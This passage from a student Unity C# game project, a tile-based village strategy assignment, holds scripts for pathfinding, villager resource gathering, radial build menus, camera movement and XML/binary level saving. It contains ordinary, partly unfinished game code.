touched.Add(new Node(c, currentNode, GetTotalDistanceCost(c, destination), touched[currentNode].moveCost + 1));
}
}
}
}
}
//Gets the move cost from one tile to another
public int GetTotalDistanceCost(Coord a, Coord b)
{
return Mathf.Abs(Mathf.Abs(b.x - a.x) + Mathf.Abs(b.y - a.y));
}
//TODO: Get shortest path to a building
//Not 100% working gets closest on the grid without looking for tiles we cannot walk on
public List<Coord> GetPath(Coord from, BuildingType typeToGetTo)
{
//TODO: Set all tags on buildings as buildings
GameObject[] buildings = GameObject.FindGameObjectsWithTag(Tags.Building);
int index = -1;
for(int i = 0; i < buildings.Length; i++)
{
if (buildings[i].GetComponent<BuildingController>().GetBuilingType() == typeToGetTo)
{
if (index == -1 || GetTotalDistanceCost(from, buildings[i].GetComponent<BuildingController>().GetBuildingMainPosition()) < GetTotalDistanceCost(from, buildings[index].GetComponent<BuildingController>().GetBuildingMainPosition()))
{
index = i;
}
}
}
if (index == -1)
return null;
return GetPath(from, buildings[index].GetComponent<BuildingController>().GetBuildingMainPosition());
}
public List<Coord> GetPath(Coord from, TileType typeToGetTo)
{
//Create the lists we need
ReadOnlyCollection<List<GameObject>> mapGrid = mapGridGen.GetMapTiles;
List<Node> touchedNode = new List<Node>();
touchedNode.Add(new Node(from, GetTotalDistanceCost(new Coord(0,1), new Coord(1,0)), 1));
//Get the first node we need
int nodePosition = 0;
while (mapGridGen.GetTileController(touchedNode[nodePosition].position).GetTileType() != typeToGetTo)
{
GetAdjacentNodes(mapGrid, ref touchedNode, nodePosition, new Coord(-1,-1));
touchedNode[nodePosition].state = NodeState.Closed;
nodePosition = -1;
//get next node that has not been tested
for (int index = 0; index < touchedNode.Count; index++)
{
if (touchedNode[index].state == NodeState.Open)
{
if (nodePosition == -1)
{
nodePosition = index;
break;
}
}
}
if (nodePosition == -1)
return null;
}
return GetPath(from, touchedNode[nodePosition].position);
}
public GameObject[] GetResourceTiles(TileType typeToGet)
{
Coord map = mapGridGen.mapSize;
List<GameObject> tilesWithResource = new List<GameObject>();
for(int x = 0; x < map.x; x++)
{
for(int y = 0; y < map.y; y++)
{
if (mapGridGen.GetTileController(new Coord(x,y)).GetTileType() == typeToGet)
{
tilesWithResource.Add(mapGridGen.GetTileAt(new Coord(x,y)));
}
}
}
return tilesWithResource.ToArray();
}
}
<file_sep>/Assets/Code/Camera/UI/LoadLevelUI.cs
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using UnityEngine;
using UnityEngine.UI;
public class LoadLevelUI : MonoBehaviour {
Dropdown uiDropdown = null;
Button loadButton = null;
MapGrid mapgrid;
MainMenuUI mainMenu;
SaveLoadManager loadManager;
bool canLoad = false;
// Use this for initialization
void Start () {
//Get map generating object
mapgrid = GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapGrid>();
//Gets load button
loadButton = GetComponentInChildren<Button>();
loadButton.onClick.AddListener(() => LoadSelectedLevel());
//Ui dropdown list
uiDropdown = GetComponent<Dropdown>();
//Map Loader
loadManager = SaveLoadManager.Instance;
//Add all saved levels to the dropdown ui
AddListToUI(loadManager.GetListOfLevels());
mainMenu = GetComponentInParent<MainMenuUI>();
}
//load the selected level
void LoadSelectedLevel()
{
if (canLoad)
{
mapgrid.CreateMapFromFile(loadManager.LoadList<MapTileSave>(uiDropdown.options[uiDropdown.value].text), loadManager.Load<Coord>(uiDropdown.options[uiDropdown.value].text));
mainMenu.SetGameUI();
}
}
//Adds all loaded levels to the ui
void AddListToUI(string[] files)
{
if (files.Length != 0)
{
uiDropdown.options.Clear();
foreach (string s in files)
{
Dropdown.OptionData data = new Dropdown.OptionData(s);
uiDropdown.options.Add(data);
uiDropdown.RefreshShownValue();
loadButton.enabled = true;
}
canLoad = true;
}
else
{
uiDropdown.options.Clear();
uiDropdown.options.Add(new Dropdown.OptionData("No Saves Found"));
uiDropdown.RefreshShownValue();
loadButton.enabled = false;
canLoad = false;
}
}
}<file_sep>/Assets/Code/Game/Network/ClientNetwork.cs
using System;
using System.Collections;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using UnityEngine;
public class ClientNetwork : NetworkBase
{
private List<MapTileSave> mapSync;
private MapGrid mapGrid;
public List<NetworkMessage> messageList = new List<NetworkMessage>();
public override void Start()
{
mapGrid = GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapGrid>();
InitialiseUdpServer();
mSocket.BeginReceive(new AsyncCallback(Receive), mSocket);
}
//Use update to send any changes to the server
public override void Update()
{
}
protected override void InitialiseUdpServer()
{
try
{
IPAddress ipAddr = IPAddress.Parse(mIpAddress);
mIpAddress = ipAddr.ToString();
mEndpoint = new IPEndPoint(IPAddress.Parse(mIpAddress), mOutgoingPort);
mSocket = new UdpClient(mIncomingPort);
}
catch (Exception e)
{
Debug.LogError(e.ToString());
}
}
protected override void Receive(IAsyncResult result)
{
throw new NotImplementedException();
}
public void SetServerByIPAddress(String ipAddr)
{
mEndpoint.Address = IPAddress.Parse(ipAddr);
mIpAddress = ipAddr;
}
}
<file_sep>/Assets/Code/Camera/UI/GameUI/BuildButton.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class BuildButton : RadialButtonMenu {
public BuildButtons buttonType = BuildButtons.Wreck;
Button connectedButton;
MapEditor mapE;
protected override void Start()
{
base.Start();
connectedButton = GetComponent<Button>();
mapE = GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapEditor>();
switch (buttonType)
{
case BuildButtons.House:
connectedButton.onClick.AddListener(() => Build(BuildingType.House));
break;
case BuildButtons.Saw:
connectedButton.onClick.AddListener(() => Build(BuildingType.Sawmill));
break;
case BuildButtons.Stone:
connectedButton.onClick.AddListener(() => Build(BuildingType.Sawmill));
break;
case BuildButtons.Mine:
connectedButton.onClick.AddListener(() => Build(BuildingType.Sawmill));
break;
case BuildButtons.Bucket:
connectedButton.onClick.AddListener(() => Build(BuildingType.Sawmill));
break;
case BuildButtons.Grass:
connectedButton.onClick.AddListener(() => SwapTile(TileType.Empty));
break;
case BuildButtons.Water:
connectedButton.onClick.AddListener(() => SwapTile(TileType.Water));
break;
case BuildButtons.Tree:
connectedButton.onClick.AddListener(() => SetResource(ResourceType.Wood));
break;
case BuildButtons.Rock:
connectedButton.onClick.AddListener(() => SetResource(ResourceType.Stone));
break;
case BuildButtons.Wreck:
connectedButton.onClick.AddListener(() => Wreck());
break;
default:
Destroy(gameObject);
break;
}
}
public void SetResource(ResourceType type)
{
mapE.SetResource(type);
}
public void Build(BuildingType toBuild)
{
mapE.SetGhost(toBuild);
}
public void SwapTile(TileType toSwap)
{
mapE.SetTileGhost(toSwap);
}
public void Wreck()
{
mapE.SetWrecking(true);
}
}
<file_sep>/Assets/Code/Camera/UI/GameUI/RadialButtonCenter.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class RadialButtonCenter : MonoBehaviour {
public float alphaHitMinimumThreshold = 0.1f;
public float movementSpeed = 3;
public Direction startPosition = Direction.Right;
public GameObject[] buttons;
public GameObject[] innerButtons;
public bool open = false;
UnityEngine.UI.Button buildButton;
// Use this for initialization
void Start()
{
//Get button and add a listener
buildButton = GetComponent<UnityEngine.UI.Button>();
buildButton.onClick.AddListener(() => ToggleOpen());
//Makes only visible part of the button clickable
//since button object is a rect
GetComponent<UnityEngine.UI.Image>().alphaHitTestMinimumThreshold = alphaHitMinimumThreshold;
SetButtons(buttons);
if(innerButtons.Length > 0)
SetButtons(innerButtons);
}
private void SetButtons(GameObject[] radialButtons)
{
//Calculate the end position of all connected buttons
RectTransform rectTrans = GetComponent<RectTransform>();
float circumference = (Tags.UIButtonWidth + Tags.UIButtonPadding) * (radialButtons.Length * 2.5f);
float radius = (circumference / Tags.pi) / 2.0f;
float angle = ((2.0f * Tags.pi) / 4.0f) / (radialButtons.Length - 1);
float startAngle = ((2.0f * Tags.pi) / 4.0f) * (int)startPosition;
//Calculate the position of the buttons
for (float i = 0; i < radialButtons.Length; i++)
{
Vector2 endPosition = new Vector2();
endPosition.x = rectTrans.position.x + (radius * Mathf.Cos((angle * i) + startAngle));
endPosition.y = rectTrans.position.y + (radius * Mathf.Sin((angle * i) + startAngle));
//Tell button its end position and movement speed
radialButtons[(int)i].GetComponent<RadialButtonMenu>().GetEndPosition(endPosition, movementSpeed, alphaHitMinimumThreshold);
radialButtons[(int)i].GetComponent<RadialButtonMenu>().SetStartPosition(rectTrans.position);
}
}
//TODO: ScreenSize change
private void Update()
{
}
public void ToggleOpen()
{
open = !open;
foreach (GameObject gObject in buttons)
{
gObject.GetComponent<RadialButtonMenu>().OpenMenu(open);
}
foreach(GameObject gObject in innerButtons)
{
gObject.GetComponent<RadialButtonMenu>().OpenMenu(open);
}
}
private void OnDestroy()
{
if (buildButton != null)
buildButton.onClick.RemoveAllListeners();
}
}
<file_sep>/Assets/Code/Enviroment/Resource.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Resource : MonoBehaviour {
public GameObject[] resourceView;
public ResourceType resourceType;
public int maxResouse;
public int resourceLeft;
public bool doesResourseRegen;
public float regenTime;
public int regenAmount;
GameObject currentResourceObject;
ResourceView view = ResourceView.Empty;
float nextRegen;
private bool isItem = false;
public void Init(int max, int rLeft, bool regen = false, float regTime = 0f, int regAmount = 0)
{
maxResouse = max;
if(rLeft == 0)
{
resourceLeft = Random.Range((max / 5) + 1, max);
}
else
resourceLeft = rLeft;
doesResourseRegen = regen;
regenTime = regTime;
regenAmount = regAmount;
ExtractResource(0);
}
public void IsItem()
{
isItem = true;
maxResouse = 3;
resourceLeft = 1;
CheckViewObject();
}
public int GetResourceLeft()
{
return resourceLeft;
}
//Amount to extract
public int ExtractResource(int extractAmount)
{
//Extract resource
if(resourceLeft > extractAmount)
{
resourceLeft -= extractAmount;
}
else
{
extractAmount = resourceLeft;
resourceLeft = 0;
}
CheckViewObject();
return extractAmount;
}
//Increase/decrease max resources
public void AddMaxResource(int amountToAdd)
{
maxResouse = Mathf.Abs(maxResouse - amountToAdd);
}
private void CheckViewObject()
{
int prefabResource = (maxResouse / 3);
//Make sure we have the correct object on the tile
if (resourceLeft > (prefabResource * 2))
{
if (view != ResourceView.Full)
{
view = ResourceView.Full;
CreateObject();
}
}
else if (resourceLeft > prefabResource)
{
if (view != ResourceView.Moderate)
{
view = ResourceView.Moderate;
CreateObject();
}
}
else
{
if (view != ResourceView.Limited)
{
view = ResourceView.Limited;
CreateObject();
}
}
}
//Create the object on top of the tile
private void CreateObject()
{
if(currentResourceObject != null)
{
Destroy(currentResourceObject);
}
currentResourceObject = Instantiate(resourceView[(int)view], transform.position, Quaternion.Euler(0,Random.Range(0,359),0), transform);
}
// Update is called once per frame
void Update () {
if (!isItem)
{
//Regen resources
if (doesResourseRegen && resourceLeft < maxResouse)
{
nextRegen -= Time.deltaTime;
if (nextRegen <= 0)
{
nextRegen = regenTime;
ExtractResource(-regenAmount);
}
}
//If we no longer have resources tell our parent to destory us
if (resourceLeft == 0)
{
GetComponentInParent<TileController>().DetroyConnectedObject();
}
}
}
}
<file_sep>/Assets/Code/Villagers/Little AI/Brains/EmptyBrain.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EmptyBrain : MonoBehaviour
{
//time takes to move between tiles
private float hopTimeLeft = 1.0f;
private float secondsToHop = 1.0f;
public ResourceType heldResource = ResourceType.Nothing;
public int carryResourceAmount = 0;
public int maxCarryAmount = 5;
public GameObject carringObject;
public Coord gridLocation;
public bool started = false;
//Gathering
private TileType gatheringResource;
//Pathfinding
private MapGrid map;
private PathFinder pathfinder;
private int pathPosition;
public List<Coord> pathTiles;
public Resource gatherLocation;
private GameObject depositLocation;
//Moving vectors
public Vector3 startPosition;
public Vector3 jumpToPosition;
//Delay if we can not find a path before searching again
bool waitForPathfinding = false;
float waitMaxTime = 5.0f;
float waitTime = 5.0f;
void pathFailed()
{
waitForPathfinding = true;
waitTime = waitMaxTime;
}
public void Start()
{
//Map grid so we can get objects we need
map = GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapGrid>();
//Pathfinder
pathfinder = GetComponent<PathFinder>();
//Give us a little delay before pathfinding
pathFailed();
}
public void Update()
{
if(map.hasLoaded())
if (started && !waitForPathfinding)
{
//If we do not have a path
if (pathTiles == null || pathTiles.Count == 0)
{
if (carryResourceAmount == 0)
FindClosestResource();
else
FindDepositBuilding();
}
else
{
if (carryResourceAmount == 0)
MoveToGatherLocation();
else
MoveToDepositLocation();
}
}
else if(waitForPathfinding)
{
waitTime -= Time.deltaTime;
if(waitTime <= 0)
{
waitForPathfinding = false;
}
}
}
//Deposit the resource to the building
private void depositResource()
{
depositLocation.GetComponent<BuildingController>().Deposit(carryResourceAmount);
carryResourceAmount = 0;
secondsToHop = 1.0f;
if (carringObject != null)
Destroy(carringObject);
}
//Gather a resource from the map
private void gatherResource()
{
carryResourceAmount += gatherLocation.ExtractResource(maxCarryAmount - carryResourceAmount);
secondsToHop = 1.0f + (carryResourceAmount / 2);
switch (heldResource)
{
case ResourceType.Wood:
carringObject = Instantiate(map.treePrefab, transform.position + new Vector3(0, GetComponentInChildren<Renderer>().bounds.size.y, 0), Quaternion.identity, transform);
break;
case ResourceType.Stone:
carringObject = Instantiate(map.rockPrefab, transform.position + new Vector3(0, GetComponentInChildren<Renderer>().bounds.size.y, 0), Quaternion.identity, transform);
break;
case ResourceType.Gold:
break;
case ResourceType.Food:
break;
case ResourceType.Water:
carringObject = Instantiate(map.waterPrefab, transform.position + new Vector3(0, GetComponentInChildren<Renderer>().bounds.size.y, 0), Quaternion.identity, transform);
break;
case ResourceType.Planks:
break;
default:
break;
}
if(carringObject != null)
{
carringObject.GetComponent<Resource>().IsItem();
carringObject.transform.localScale = new Vector3(0.1f, 0.1f, 0.1f);
}
}
//Sets all the initial values that we need
public void Init(Coord villagerLocation, GameObject depositLoc, TileType gatheringRes, ResourceType resType)
{
heldResource = resType;
gridLocation = villagerLocation;
depositLocation = depositLoc;
gatheringResource = gatheringRes;
started = true;
}
//Get a path to the closest resource
private void FindClosestResource()
{
pathTiles = pathfinder.GetPath(gridLocation, gatheringResource);
if (pathTiles != null)
{
gatherLocation = map.GetResourceAtTile(pathTiles[pathTiles.Count - 1]);
pathPosition = 0;
hopTimeLeft = 1.0f;
startPosition = transform.position;
jumpToPosition = new Vector3(pathTiles[pathPosition].x * Tags.TileSize, 0, pathTiles[pathPosition].y * Tags.TileSize);
}
else
{
pathFailed();
}
}
//Find the closest part of our designated building
private void FindDepositBuilding()
{
if (depositLocation != null)
{
BuildingController tControl = depositLocation.GetComponent<BuildingController>();
pathTiles = pathfinder.GetPath(gridLocation, tControl.GetPosition(), tControl.GetOtherPostions());
if (pathTiles != null)
{
hopTimeLeft = 1.0f;
pathPosition = 0;
startPosition = transform.position;
jumpToPosition = new Vector3(pathTiles[pathPosition].x * Tags.TileSize, 0, pathTiles[pathPosition].y * Tags.TileSize);
}
else
{
pathFailed();
}
}
else
Destroy(this);
}
//Move to our gather location
public void MoveToGatherLocation()
{
//2 seconds to hop to tiles
hopTimeLeft -= (Time.deltaTime / secondsToHop);
if (hopTimeLeft <= 0)
{
if (pathPosition == pathTiles.Count - 1)
{
gatherResource();
pathTiles.Clear();
pathTiles = null;
}
else
{
gridLocation = pathTiles[pathPosition];
pathPosition++;
hopTimeLeft = 1.0f;
startPosition = jumpToPosition;
jumpToPosition = new Vector3(pathTiles[pathPosition].x * Tags.TileSize, 0, pathTiles[pathPosition].y * Tags.TileSize);
}
}
else if (pathPosition < pathTiles.Count - 1)
{
transform.position = Vector3.Lerp(startPosition, jumpToPosition, Mathf.Abs(hopTimeLeft - 1));
}
}
//Move to the deposit location
public void MoveToDepositLocation()
{
//2 seconds to hop to tiles
hopTimeLeft -= (Time.deltaTime / secondsToHop);
if (hopTimeLeft <= 0)
{
if (pathPosition == pathTiles.Count - 1)
{
depositResource();
pathTiles.Clear();
pathTiles = null;
}
else
{
gridLocation = pathTiles[pathPosition];
pathPosition++;
hopTimeLeft = 1.0f;
startPosition = jumpToPosition;
jumpToPosition = new Vector3(pathTiles[pathPosition].x * Tags.TileSize, 0, pathTiles[pathPosition].y * Tags.TileSize);
}
}
else if (pathPosition < pathTiles.Count - 1)
{
transform.position = Vector3.Lerp(startPosition, jumpToPosition, Mathf.Abs(hopTimeLeft - 1));
}
}
public void OnDestroy()
{
if (carringObject != null)
Destroy(carringObject);
}
}
<file_sep>/Assets/Code/Camera/CameraController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.EventSystems;
public class CameraController : MonoBehaviour
{
//Position and speed
public bool canPlayerMove = false;
public Vector3 moveToPosition;
public float speed = 2.0f;
public Vector3 minPos = new Vector3(0, 2, -3.5f);
public Vector3 maxPos;
private bool moveing = false;
//Rotation
private Quaternion minRot = Quaternion.Euler(6.0f, -360.0f, 0.0f);
private Quaternion maxRot = Quaternion.Euler(70.0f, 360f, 0.0f);
private float cameraYPosition = 0.5f;
private Vector3 mousePos;
private EventSystem eventS;
private Coord mapSize;
private Camera cam;
// Use this for initialization
void Start()
{
//Get main camera
cam = GetComponent<Camera>();
mousePos = Input.mousePosition;
//Get evemt system
eventS = GetComponentInChildren<EventSystem>();
}
// Update is called once per frame
void Update()
{
if (moveing)
{
Vector3 movePos = moveToPosition - transform.position;
if (movePos.magnitude <= 0.5f)
{
transform.position = moveToPosition;
canPlayerMove = true;
moveing = false;
}
else
{
movePos.Normalize();
movePos *= speed;
transform.position += (movePos * Time.deltaTime);
}
}
//can we move and is the mouse over a gui
else if (canPlayerMove)
{
if (mousePos != Input.mousePosition && !eventS.IsPointerOverGameObject())
{
//Is our mouse over a tile
RaycastHit? hit = GetMouseHit();
if (hit != null)
{
if (hit.Value.collider.tag == Tags.Floor)
{
hit.Value.collider.gameObject.GetComponent<TileController>().HitByRay();
}
}
}
//Move camera
float moveX = (Input.GetAxis(Tags.Horizontal) * speed) * Time.deltaTime;
moveX = Mathf.Clamp(transform.position.x + moveX, minPos.x, maxPos.x);
float moveZ = (Input.GetAxis(Tags.Vertical) * speed) * Time.deltaTime;
moveZ = Mathf.Clamp(transform.position.z + moveZ, minPos.z, maxPos.z);
cameraYPosition = Mathf.Clamp(cameraYPosition + (Input.GetAxis(Tags.MouseWheel) / 5), 0.0f, 1.0f);
float moveY = Mathf.Lerp(minPos.y, maxPos.y, cameraYPosition);
transform.rotation = Quaternion.Lerp(minRot, maxRot, cameraYPosition);
transform.position = new Vector3(moveX, moveY, moveZ);
}
}
public bool IsMouseOverUI()
{
return eventS.IsPointerOverGameObject();
}
//Returns a tile that the mouse it over
public RaycastHit? GetMouseHit()
{
//Check players mouse position
Ray ray = cam.ScreenPointToRay(Input.mousePosition);
Debug.DrawRay(ray.origin, ray.direction * 100, Color.yellow);
RaycastHit hit;
//Check if we are hovering over a tile
if (Physics.Raycast(ray, out hit))
{
//If the thing we hit is a tile
if (hit.collider.GetComponent<TileController>() != null)
return hit;
else
return null;
}
return null;
}
public void UpdateMaxMapSize(Coord newMapSize)
{
mapSize = newMapSize;
maxPos = new Vector3((mapSize.x * 2) - 5, 18, (mapSize.y * 2) - 5);
}
//Updates the camera position
public void JumpToPosition(Vector3 newPosition)
{
transform.position = newPosition;
}
public void MoveToPosition(Vector3 newPosition)
{
moveToPosition = newPosition;
canPlayerMove = false;
moveing = true;
}
}
<file_sep>/Assets/Code/Camera/UI/GameUI/SaveButton.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class SaveButton : MonoBehaviour {
Button connectedButton;
MapGrid map;
SaveLoadManager saveManager;
InputField inputF;
MainMenuUI mainMenu;
// Use this for initialization
void Start () {
connectedButton = GetComponent<Button>();
connectedButton.onClick.AddListener(() => Save());
inputF = GetComponentInChildren<InputField>();
map = GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapGrid>();
saveManager = SaveLoadManager.Instance;
mainMenu = GetComponentInParent<MainMenuUI>();
}
public void Save()
{
if (!string.IsNullOrEmpty(inputF.text))
{
List<MapTileSave> saveList = new List<MapTileSave>();
for (int x = 0; x < map.mapSize.x; x++)
{
for (int y = 0; y < map.mapSize.y; y++)
{
saveList.Add(map.GetTileController(new Coord(x, y)));
}
}
saveManager.SaveList(saveList, inputF.text);
saveManager.Save(map.mapSize, inputF.text);
mainMenu.RemoveSaveUI();
}
else
{
foreach(Text t in GetComponentsInChildren<Text>())
{
t.enabled = true;
}
}
}
}
<file_sep>/Assets/Code/Enviroment/GhostController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class GhostController : MonoBehaviour {
public Vector2 placementS;
public Coord placementSize;
public Coord gridPosition;
void Start()
{
placementSize = new Coord(placementS);
}
}
<file_sep>/Assets/Code/Game/Save/SaveLoadManager.cs
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Xml.Serialization;
using UnityEngine;
public class SaveLoadManager
{
private static SaveLoadManager instance = null;
private SaveLoadManager() { }
public static SaveLoadManager Instance
{
get
{
if (instance == null)
instance = new SaveLoadManager();
return instance;
}
}
//Returns the name of all the levels
public string[] GetListOfLevels()
{
string[] files = Directory.GetFiles(Application.persistentDataPath, "*.level");
for(int i = 0; i < files.Length; i++)
{
files[i] = Path.GetFileNameWithoutExtension(files[i]);
}
return files;
}
//Save data to file
public void Save <T>(T data, string filename)
{
BinaryFormatter bf = new BinaryFormatter();
FileStream file = File.Create(Application.persistentDataPath + "/" + filename + ".lvl");
bf.Serialize(file, data);
file.Close();
}
public T Load<T> (string filename)
{
T data = default(T);
if (File.Exists(Application.persistentDataPath + "/" + filename + ".lvl"))
{
BinaryFormatter bf = new BinaryFormatter();
FileStream file = File.Open(Application.persistentDataPath + "/" + filename + ".lvl", FileMode.Open);
data = (T)bf.Deserialize(file);
file.Close();
}
return data;
}
public void SaveList<T>(List<T> mapTiles, string filename)
{
XmlSerializer serializer = new XmlSerializer(typeof(List<T>));
FileStream file = File.Create(Application.persistentDataPath + "/" + filename + ".level");
serializer.Serialize(file, mapTiles);
}
public List<T> LoadList<T>(string filename)
{
XmlSerializer deSerializer = new XmlSerializer(typeof(List<T>));
TextReader reader = new StreamReader(Application.persistentDataPath + "/" + filename + ".level");
object loadedList = deSerializer.Deserialize(reader);
reader.Close();
return (List<T>)loadedList;
}
}
<file_sep>/README.md
# Tile Strategy
## University Assignment - Second Year (2018)
### Assignment:
Create a game scene that uses multiple game mechanics (AI, World Generation, Building/resource placement)<file_sep>/Assets/Code/Camera/UI/ButtonSetup.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class ButtonSetup : MonoBehaviour {
public MainMenuButtons button;
GameObject canvas;
SliderController sliderC;
UnityEngine.UI.Button connectedButton;
void Start () {
canvas = GameObject.FindGameObjectWithTag(Tags.Canvas);
connectedButton = GetComponent<UnityEngine.UI.Button>();
switch (button)
{
case MainMenuButtons.New:
connectedButton.onClick.AddListener(() => canvas.GetComponent<MainMenuUI>().NewMapBtn_click());
break;
case MainMenuButtons.Load:
connectedButton.onClick.AddListener(() => canvas.GetComponent<MainMenuUI>().LoadMapBtn_Click());
break;
case MainMenuButtons.Exit:
connectedButton.onClick.AddListener(() => canvas.GetComponent<MainMenuUI>().Exit_click());
break;
case MainMenuButtons.Back:
connectedButton.onClick.AddListener(() => canvas.GetComponent<MainMenuUI>().ToMainMenu_Click());
break;
case MainMenuButtons.Create:
sliderC = canvas.GetComponentInChildren<SliderController>();
connectedButton.onClick.AddListener(() => canvas.GetComponent<MainMenuUI>().CreateMapBtn_Click(sliderC.GetCurrentSpawnObject()));
break;
}
}
private void OnDestroy()
{
if (connectedButton != null)
connectedButton.onClick.RemoveAllListeners();
}
}
<file_sep>/Assets/Code/Villagers/Little AI/PathFinding/Node.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Node
{
public Coord position;
public int distanceToEnd;
public int moveCost;
public NodeState state = NodeState.Open;
int parentIndex = -1;
public int totalMoveCost
{
get
{
return (distanceToEnd + moveCost);
}
}
public Node(Coord _position, int _parent, int _distanceToEnd, int _moveCost)
{
position = _position;
parentIndex = _parent;
distanceToEnd = _distanceToEnd;
moveCost = _moveCost;
}
public Node(Coord _position, int _distanceToEnd, int _moveCost)
{
position = _position;
distanceToEnd = _distanceToEnd;
moveCost = _moveCost;
}
public void SetParentIndex(int newParaent, int _moveCost)
{
parentIndex = newParaent;
}
public int GetParent()
{
return parentIndex;
}
}
public enum NodeState
{
Open,
Closed
}
<file_sep>/Assets/Code/Camera/UI/MainMenuUI.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class MainMenuUI : MonoBehaviour {
public GameObject MainUI;
public GameObject NewMapUI;
public GameObject LoadMapUI;
public GameObject GameUI;
public GameObject SaveUI;
GameObject currentUI;
//Save Ui is separeate we want this open when we also have our main ui;
GameObject currentSaveUI;
CameraController cameraC;
// Use this for initialization
void Start()
{
currentUI = Instantiate(MainUI, transform);
cameraC = GameObject.FindGameObjectWithTag(Tags.MainCamera).GetComponent<CameraController>();
}
//Return to the main ui
public void ToMainMenu_Click()
{
Destroy(currentUI);
RemoveSaveUI();
currentUI = Instantiate(MainUI, transform);
}
//Changes the UI to create a new map
public void NewMapBtn_click()
{
Destroy(currentUI);
RemoveSaveUI();
currentUI = Instantiate(NewMapUI, transform);
}
//Change to Load map UI
public void LoadMapBtn_Click()
{
Destroy(currentUI);
RemoveSaveUI();
currentUI = Instantiate(LoadMapUI, transform);
}
public void RemoveSaveUI()
{
if (currentSaveUI != null)
Destroy(currentSaveUI);
}
//Opens the save UI
public void SaveMapBtn_Click()
{
RemoveSaveUI();
currentSaveUI = Instantiate(SaveUI, transform);
}
public void OptionBtn_Click()
{
}
//Tell the map create to create a new map
//Set the UI to the game ui
public void CreateMapBtn_Click(SpawnObject spawnV)
{
GameObject.FindGameObjectWithTag(Tags.MapController).GetComponent<MapCreator>().CreateNewMap(spawnV);
cameraC.UpdateMaxMapSize(new Coord(spawnV.rowSize, spawnV.rowSize));
SetGameUI();
}
public void SetGameUI()
{
Destroy(currentUI);
currentUI = Instantiate(GameUI, transform);
}
//Exit the application
public void Exit_click()
{
Application.Quit();
}
}
<file_sep>/Assets/Code/Camera/UI/SliderSetup.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public class SliderSetup : MonoBehaviour {
Slider connectedSlider;
InputField connectedField;
SliderController controller;
//Add Listerners to connected slider and field
void Start () {
connectedSlider = GetComponent<Slider>();
connectedField = GetComponentInChildren<InputField>();
controller = GetComponentInParent<SliderController>();
SliderID id;
switch(tag)
{
case Tags.xSlider:
id = SliderID.X;
break;
case Tags.ySlider:
id = SliderID.Y;
break;
case Tags.spawnSlider:
id = SliderID.Spawn;
break;
case Tags.waterSlider:
id = SliderID.Water;
break;
case Tags.waterSizeSlider:
id = SliderID.WaterSize;
break;
case Tags.treeSlider:
id = SliderID.Tree;
break;
case Tags.treeSizeSlider:
id = SliderID.TreeSize;
break;
case Tags.rockSlider:
id = SliderID.Rock;
break;
case Tags.rockSizeSlider:
id = SliderID.RockSize;
break;
case Tags.ironSlider:
id = SliderID.Iron;
break;
case Tags.ironSizeSlider:
id = SliderID.IronSize;
break;
default:
return;
}
connectedSlider.onValueChanged.AddListener(delegate { controller.SliderValueChanged(connectedSlider, id); });
connectedField.onValueChanged.AddListener(delegate { controller.FieldValueChanged(connectedField, id); });
controller.SliderValueChanged(connectedSlider, id);
}
}
<file_sep>/Assets/Code/Map/MapController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class MapController : MonoBehaviour {
private int totalNumberOfVillagers = 0;
private int currentNumberOfVillagers = 0;
List<BuildingController> waitingVillager;
void Start()
{
waitingVillager = new List<BuildingController>();
}
//Add maximum allowed villagers
public void HouseAdded(int villagerSize)
{
totalNumberOfVillagers += villagerSize;
}
//Reduce maximum allowed villagers
public void HouseDeleted(int villagerSize)
{
totalNumberOfVillagers -= villagerSize;
}
//Building asking if it can spawn a villager
public bool RequstVillager(BuildingController requestedBY)
{
if (totalNumberOfVillagers == currentNumberOfVillagers)
{
waitingVillager.Add(requestedBY);
return false;
}
else
currentNumberOfVillagers++;
return true;
}
//building is being destroyed and is returning a villager
public void RemoveVillager()
{
while (waitingVillager.Count > 0)
{
if (waitingVillager[0] != null)
{
waitingVillager[0].SpawnVillager();
waitingVillager.RemoveAt(0);
}
else
waitingVillager.RemoveAt(0);
}
}
}
<file_sep>/Assets/Code/Tags.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using UnityEngine;
static class Tags
{
public const float TileSize = 2.0f;
public const float UIButtonWidth = 60.0f;
public const float UIButtonPadding = 10.0f;
public const float pi = 3.14f;
//Input
public const string Horizontal = "Horizontal";
public const string Vertical = "Vertical";
public const string MouseWheel = "ZoomWheel";
//Tags
public const string MainCamera = "MainCamera";
public const string MapController = "MapController";
public const string Villager = "Villager";
public const string JobDelegator = "MapController";
public const string Floor = "Floor";
public const string Building = "Building";
public const string NetworkManager = "NetworkManager";
//UI
public const string Canvas = "Canvas";
public const string xSlider = "xSlider";
public const string ySlider = "ySlider";
public const string spawnSlider = "SpawnSlider";
public const string treeSizeSlider = "treeSSlider";
public const string treeSlider = "treeSlider";
public const string waterSizeSlider = "waterSSlider";
public const string waterSlider = "waterSlider";
public const string rockSizeSlider = "rockSSlider";
public const string rockSlider = "rockSlider";
public const string ironSizeSlider = "ironSSlider";
public const string ironSlider = "ironSlider";
//Animation
public const string IsIdleAnim = "IsIdle";
public const string IsMovingAnim = "IsMoving";
public const string PlayIsMovingAnim = "PlayIdle";
//Resource object tag
public const string RockTag = "Rock";
public const string TreeTag = "Tree";
